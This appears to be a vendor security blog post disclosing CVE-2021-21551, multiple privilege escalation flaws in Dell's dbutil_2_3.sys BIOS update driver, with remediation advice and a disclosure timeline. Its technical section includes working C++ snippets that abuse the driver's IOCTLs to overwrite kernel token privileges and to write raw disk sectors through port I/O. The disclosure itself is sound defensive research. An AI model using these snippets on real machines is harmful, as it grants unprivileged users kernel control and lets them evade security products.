CVE-2021-21551- Hundreds Of Millions Of Dell Computers At Risk Due to Multiple BIOS Driver Privilege Escalation Flaws

Executive Summary

  • SentinelLabs has discovered five high severity flaws in Dell’s firmware update driver impacting Dell desktops, laptops, notebooks and tablets.
  • Attackers may exploit these vulnerabilities to locally escalate to kernel-mode privileges.
  • Since 2009, Dell has released hundreds of millions of Windows devices worldwide which contain the vulnerable driver.
  • SentinelLabs findings were proactively reported to Dell on Dec 1, 2020 and are tracked as CVE-2021-21551, marked with CVSS Score 8.8.
  • Dell has released a security update to its customers to address this vulnerability.
  • At this time, SentinelOne has not discovered evidence of in-the-wild abuse.

Introduction

Several months ago, I started investigating the security posture of the firmware update driver version 2.3 (dbutil_2_3.sys) module, which seems to have been in use since at least 2009. Today, the firmware update driver component, which is responsible for Dell Firmware Updates via the Dell Bios Utility, comes pre-installed on most Dell machines running Windows and freshly installed Windows machines that have been updated. Hundreds of millions of Dell devices have updates pushed on a regular basis, for both consumer and enterprise systems.

The driver came to my attention thanks to Process Hacker, which has a great feature that pops up a notification message every time a service gets created or deleted:

This led to the discovery of five high severity bugs that have remained undisclosed for 12 years. These multiple high severity vulnerabilities in Dell software could allow attackers to escalate privileges from a non-administrator user to kernel mode privileges. Over the years, Dell has released BIOS update utilities which contain the vulnerable driver for hundreds of millions of computers (including desktops, laptops, notebooks, and tablets) worldwide.

Dell has assigned one CVE to cover all the flaws in the firmware update driver, but this single CVE can be broken down to the following five separate flaws:

  • CVE-2021-21551: Local Elevation Of Privileges #1 – Memory corruption
  • CVE-2021-21551: Local Elevation Of Privileges #2 – Memory corruption
  • CVE-2021-21551: Local Elevation Of Privileges #3 – Lack of input validation
  • CVE-2021-21551: Local Elevation Of Privileges #4 – Lack of input validation
  • CVE-2021-21551: Denial Of Service – Code logic issue

In today’s post, I will describe some of the general problems with this driver. However, to enable Dell customers the opportunity to remediate this vulnerability, we are withholding sharing our Proof of Concept until June 1, 2021. That proof of concept will demonstrate the first local EOP which arises out of a memory corruption issue.

Technical Details

The first and most immediate problem with the firmware update driver arises out of the fact that it accepts IOCTL (Input/Output Control) requests without any ACL requirements. That means that it can be invoked by a non-privileged user:

2: kd> !devobj ffffae077fb47820
Device object (ffffae077fb47820) is for:
 DBUtil_2_3 \Driver\dbutil DriverObject ffffae0782dbce30
Current Irp 00000000 RefCount 1 Type 00009b0c Flags 00000048
SecurityDescriptor ffffd70bdb4f4160 DevExt ffffae077fb47970 DevObjExt ffffae077fb47a10
ExtensionFlags (0x00000800)  DOE_DEFAULT_SD_PRESENT
Characteristics (0000000000)
Device queue is not busy.
2: kd> !sd ffffd70bdb4f4160 0x1
[truncated]
->Dacl    : ->Ace[0]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
->Dacl    : ->Ace[0]: ->AceFlags: 0x0
->Dacl    : ->Ace[0]: ->AceSize: 0x14
->Dacl    : ->Ace[0]: ->Mask : 0x001201bf
->Dacl    : ->Ace[0]: ->SID: S-1-1-0 (Well Known Group: localhost\Everyone)
[truncated]

Allowing any process to communicate with your driver is often a bad practice since drivers operate with the highest of privileges; thus, some IOCTL functions can be abused “by design”.

The firmware update driver exposes many functions via IRP_MJ_DEVICE_CONTROL. The most obvious bug to exploit gives you an extremely powerful primitive. Via IOCTL 0x9B0C1EC8, it is possible to completely control the arguments passed to memmove, thus, allowing an arbitrary read/write vulnerability:

A classic exploitation technique for this vulnerability would be to overwrite the values of Present and Enabled in the Token privilege member inside the EPROCESS of the process whose privileges we want to escalate:

1: kd> dt nt!_SEP_TOKEN_PRIVILEGES
   +0x000 Present          : Uint8B
   +0x008 Enabled          : Uint8B
   +0x010 EnabledByDefault : Uint8B

This can be triggered and exploited quite simply:

struct ioctl_input_params {
	uint64_t padding1;
	uint64_t address;
	uint64_t padding2;
	uint64_t value_to_write;
};

static constexpr uint64_t MASK_TO_WRITE = MAXULONGLONG;

DWORD bytesReturned = 0;

ioctl_input_params privilege_present_params{ 0 };
privilege_present_params.address = presentAddress;
privilege_present_params.value_to_write = MASK_TO_WRITE;

DeviceIoControl(hDevice, EXPLOITABLE_RW_CONTROL_CODE, &privilege_present_params,
	sizeof(privilege_present_params), &privilege_present_params, sizeof(privilege_present_params), &bytesReturned, NULL);

ioctl_input_params privilege_enabled_params{ 0 };
privilege_enabled_params.address = enabledAddress;
privilege_enabled_params.value_to_write = MASK_TO_WRITE;

DeviceIoControl(hDevice, EXPLOITABLE_RW_CONTROL_CODE, &privilege_enabled_params,
	sizeof(privilege_enabled_params), &privilege_enabled_params, sizeof(privilege_enabled_params), &bytesReturned, NULL);

Another interesting vulnerability in this driver is one that makes it possible to run I/O (IN/OUT) instructions in kernel mode with arbitrary operands (LPE #3 and LPE #4). This is less trivial to exploit and might require using various creative techniques to achieve elevation of privileges.

Since IOPL (I/O privilege level) equals to CPL (current privilege level), it is obviously possible to interact with peripheral devices such as the HDD and GPU to either read/write directly to the disk or invoke DMA operations. For example, we could communicate with ATA port IO for directly writing to the disk, then overwrite a binary that is loaded by a privileged process.

The following code illustrates direct read/write using ATA port IO and shows how to invoke those IOCTLs (IN/OUT wrappers are abstracted):

void port_byte_out(unsigned short port, unsigned char payload) {
	unsigned char data[16] = { 0 };
	*((unsigned long *)((unsigned char *)data)) = port;
	*((unsigned char *)((unsigned char *)data + 4)) = payload;
	bResult = DeviceIoControl(hDevice, IOCTL_BYTE_OUT, data, sizeof(data), data, sizeof(data), &junk, NULL);
	if (!bResult) {
		printf("error in port_byte_out: %x\r\n", GetLastError());
	}
}

unsigned char port_byte_in(unsigned short port) {
	unsigned char data[16] = { 0 };
	*((unsigned long *)((unsigned char *)data)) = port;
	bResult = DeviceIoControl(hDevice, IOCTL_BYTE_IN, data, sizeof(data), data, sizeof(data), &junk, NULL);
	if (!bResult) {
		printf("error in port_byte_in: %x\r\n", GetLastError());
	}
	return data[0];
}

Writing directly to the HDD without creating an IRP for that disk write basically bypasses all security mechanisms in the operating system and allows an attacker to write to any sector on the disk.

For example, here is code from the LearnOS repository that takes advantage of IN/OUT instructions for direct HDD writing:

void write_sectors_ATA_PIO(uint32_t LBA, uint8_t sector_count, uint32_t* bytes) {
	ATA_wait_BSY();
	port_byte_out(0x1F6,0xE0 | ((LBA >>24) & 0xF));
	port_byte_out(0x1F2,sector_count);
	port_byte_out(0x1F3, (uint8_t) LBA);
	port_byte_out(0x1F4, (uint8_t)(LBA >> 8));
	port_byte_out(0x1F5, (uint8_t)(LBA >> 16)); 
	port_byte_out(0x1F7,0x30); //Send the write command

	for (int j =0;j<sector_count;j++) {
		ATA_wait_BSY();
		ATA_wait_DRQ();
		for(int i=0;i<256;i++) {
			port_long_out(0x1F0, bytes[i]);
		}
	}
}

Interestingly, unrelated to the IOCTL handler bugs, the driver file itself is located in C:\Windows\Temp, which is also a bug itself and opens the door to other issues. The classic way to exploit this would be to transform any BYOVD (Bring Your Own Vulnerable Driver) into an Elevation of Privileges vulnerability since loading a (vulnerable) driver means you require administrator privileges, which essentially eliminates the need for a vulnerability. Thus, using this side noted vulnerability virtually means you can take any BYOVD to an Elevation of Privileges.

Proof of Concept

Here you can see a proof-of-concept to demonstrate the first LPE due to memory corruption:

Click to play

Impact

The high severity flaws could allow any user on the computer, even without privileges, to escalate their privileges and run code in kernel mode. Among the obvious abuses of such vulnerabilities are that they could be used to bypass security products.

An attacker with access to an organization’s network may also gain access to execute code on unpatched Dell systems and use this vulnerability to gain local elevation of privilege. Attackers can then leverage other techniques to pivot to the broader network, like lateral movement.

Remediation

This vulnerability and its remedies are described in Dell Security Advisory DSA-2021-088. We recommend Dell customers, both enterprise and consumer, to apply the patch as soon as possible.

While Dell is releasing a patch (a fixed driver), note that the certificate was not yet revoked (at the time of writing). This is not considered best practice since the vulnerable driver can still be used in a BYOVD attack as mentioned earlier. Please see the Dell Security Advisory for complete remediation details.

Conclusion

These high severity vulnerabilities, which have been present in Dell devices since 2009, affect hundreds of millions of devices and millions of users worldwide. Similar to a previous vulnerability I disclosed that hid for 12 years, the impact this could have on users and enterprises that fail to patch is far reaching and significant.

While we haven’t seen any indicators that these vulnerabilities have been exploited in the wild up till now, with hundreds of million of enterprises and users currently vulnerable, it is inevitable that attackers will seek out those that do not take the appropriate action. Our reason for publishing this research is to not only help our customers but also the community to understand the risk and to take action.

We would like to thank Dell for their approach to our disclosure and for remediating the vulnerabilities.

Disclosure Timeline

1, Dec, 2020 – Initial report
2, Dec, 2020 – Dell replied with ticket numbers
8, Dec, 2020 – Dell requested more information
9, Dec, 2020 – Dell request additional information
22, Dec, 2020 – Dell replied that a fix should be available in mid April
12, Jan, 2021 – Dell replied that some of the vulnerabilities will not be fixed since the product is EOL
27, Jan, 2021 – Dell requested more time
16, Mar, 2021 – Dell updated that they are cooperating with Microsoft and a fix should be available by the end of April
29, Mar, 2021 – Dell requested more time, confirmed that an update should be available by the end of April
22, Apr, 2021 – Dell initiated a zoom conference call to discuss the blog post release
04, May, 2021 – Initial research released to the public

0 / 131